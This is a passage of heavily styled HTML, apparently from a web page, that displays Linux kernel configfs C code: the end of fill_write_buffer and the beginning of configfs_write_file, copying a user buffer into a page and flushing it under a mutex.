normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SIMPLE_ATTR_SIZE)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">count</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SIMPLE_ATTR_SIZE</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">-</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">1</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">error</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">copy_from_user(buffer->page,buf,count);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">buffer->needs_read_fill</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">1</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">buffer->page[count]</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">return</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">error</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">?</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">-EFAULT</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">:</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">count;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">static</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ssize_t</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">configfs_write_file(</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*file,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">const</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">char</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">__user</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*buf,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size_t</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">count,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">loff_t</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*ppos)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">configfs_buffer</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">buffer</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file->private_data;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ssize_t</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">len;</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">mutex_lock(&buffer->mutex);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">len</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">fill_write_buffer(buffer,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">buf,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">count);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(len</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">len</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">flush_write_buffer(file->f_path.dentry,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">buffer,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">len);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(len</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*ppos</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">+=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">len;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; 